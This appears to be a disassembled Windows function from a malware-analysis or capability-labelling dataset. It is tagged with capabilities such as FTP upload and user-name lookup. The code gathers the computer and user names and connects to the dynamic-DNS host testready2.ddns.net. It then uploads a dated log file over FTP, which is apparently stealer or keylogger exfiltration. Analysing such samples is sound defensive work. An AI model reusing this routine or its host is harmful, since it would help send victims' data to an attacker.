Function at 0x140174f00
Capabilities:
Connect to http server
Create http request
Get hostname
Get session user name
Send file using ftp

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
mov rax, qword [0x1404af540]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
xor r15d, r15d
lea r9, str.InternetSession
mov edx, 1
xor ecx, ecx
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov rbx, rax
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140175494
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x14041de68]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov r13, rax
test rax, rax
je 0x14017548f
mov r8d, 0x1f55
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 0x8000000
mov dword [rsp + 0x28], 1
lea r9, [0x140425ee8]
mov qword [rsp + 0x20], r9
lea rdx, str.testready2.ddns.net
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetConnectW]
mov r14, rax
test rax, rax
je 0x140175486
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov r8d, 1
lea rdx, [0x14041aa8c]
lea rcx, [rbp - 0x80]
call fcn.140006340
nop
xor edx, edx
mov r8d, reloc.OLEAUT32.dll_SetErrorInfo
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x78], 0x64
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x14017507f
lea rax, [rbp - 0x50]
mov rdx, 0xffffffffffffffff
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140175034
mov rax, qword [rbp - 0x68]
cmp rdx, rax
ja 0x140175072
lea rdi, [rbp - 0x80]
cmp rax, 7
cmova rdi, qword [rbp - 0x80]
mov qword [rbp - 0x70], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rbp - 0x50]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi], r15w
jmp 0x14017507f
lea r9, [rbp - 0x50]
lea rcx, [rbp - 0x80]
call fcn.140004f70
mov dword [rsp + 0x78], 0x64
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x50]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140175163
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1401750d0
lea rax, [rcx + 1]
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
cmp rdx, 7
cmova rax, qword [rbp - 0x80]
mov dword [rax + rcx*2], 0x5f
jmp 0x1401750ee
mov qword [rsp + 0x20], 1
lea r9, [0x14041db78]
mov edx, 1
lea rcx, [rbp - 0x80]
call fcn.140003d80
lea rax, [rbp - 0x50]
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140175100
mov rsi, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x14017514e
lea rax, [rdi + rsi]
mov qword [rbp - 0x70], rax
lea rbx, [rbp - 0x80]
cmp rcx, 7
cmova rbx, qword [rbp - 0x80]
lea rcx, [rbx + rsi*2]
lea r8, [rdi + rdi]
lea rdx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rdi]
mov word [rbx + rax*2], r15w
jmp 0x140175163
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x50]
mov rdx, rdi
lea rcx, [rbp - 0x80]
call fcn.140003d80
mov rsi, qword [rbp - 0x70]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, rsi
cmp rax, 6
jb 0x1401754d3
lea r12, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r12, qword [rbp - 0x80]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea r15, [rsi + 6]
mov edi, 7
lea rbx, [rsp + 0x58]
cmp r15, rdi
jbe 0x140175239
mov rdi, r15
or rdi, 7
cmp rdi, rcx
jbe 0x140175200
mov rdi, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x14017522c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1401754cd
mov rcx, rax
call fcn.1403ca490
test rax, rax
je 0x1401752b6
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140175234
mov eax, 0xa
cmp rdi, rax
cmovb rdi, rax
lea rcx, [rdi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1401754cd
add rcx, rcx
jne 0x1401751cb
xor ebx, ebx
jmp 0x140175234
call fcn.1403ca490
mov rbx, rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], rdi
movsd xmm0, qword [str._logs_]
movsd qword [rbx], xmm0
mov eax, dword [0x14043a248]
mov dword [rbx + 8], eax
lea rcx, [rbx + 0xc]
lea r8, [rsi + rsi]
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
mov word [rbx + r15*2], di
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x80]
call fcn.140004930
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x1401752c2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401752bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1401752bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403ca488
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
mov rcx, r14
call qword [sym.imp.WININET.dll_FtpSetCurrentDirectoryW]
test eax, eax
jne 0x14017530b
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
mov rcx, r14
call qword [sym.imp.WININET.dll_FtpCreateDirectoryW]
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova rdx, qword [rbp - 0x80]
mov rcx, r14
call qword [sym.imp.WININET.dll_FtpSetCurrentDirectoryW]
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x290]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x80]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rbp - 0x5a]
movzx ecx, word [rbp - 0x5e]
movzx edx, word [rbp - 0x60]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], edx
lea r9, [0x1404ba700]
lea r8, str._slogs_4d__02d__02d.txt
mov rdx, 0xffffffffffffffff
lea rcx, [rbp + 0x290]
call fcn.1400d0920
lea r9, [0x1404ba914]
lea r8, [0x1404ba910]
lea rdx, [0x1404ba90c]
call fcn.1401df660
movzx r9d, word [rbp - 0x60]
mov rdx, 0xffffffffffffffff
test al, al
je 0x1401753ef
movzx ecx, word [rbp - 0x5a]
movzx r8d, word [rbp - 0x5e]
mov eax, dword [0x1404ba914]
mov dword [rsp + 0x48], eax
mov eax, dword [0x1404ba910]
mov dword [rsp + 0x40], eax
mov eax, dword [0x1404ba90c]
mov dword [rsp + 0x38], eax
mov eax, dword [0x1404ba908]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], r8d
lea r8, str._4d__02d__02d__d__d__d__d.txt
lea rcx, [rbp + 0x80]
call fcn.1400d0920
jmp 0x140175412
movzx eax, word [rbp - 0x5a]
movzx ecx, word [rbp - 0x5e]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
lea r8, str._4d__02d__02d.txt
lea rcx, [rbp + 0x80]
call fcn.1400d0920
mov qword [rsp + 0x20], rdi
mov r9d, 0x80000002
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x290]
mov rcx, r14
call qword [sym.imp.WININET.dll_FtpPutFileW]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x140175481
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14017547c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14017547c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1403ca488
mov rbx, qword [rsp + 0x50]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test rbx, rbx
je 0x14017549d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.1403ca460
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400062b0
nop
call fcn.140006110
int3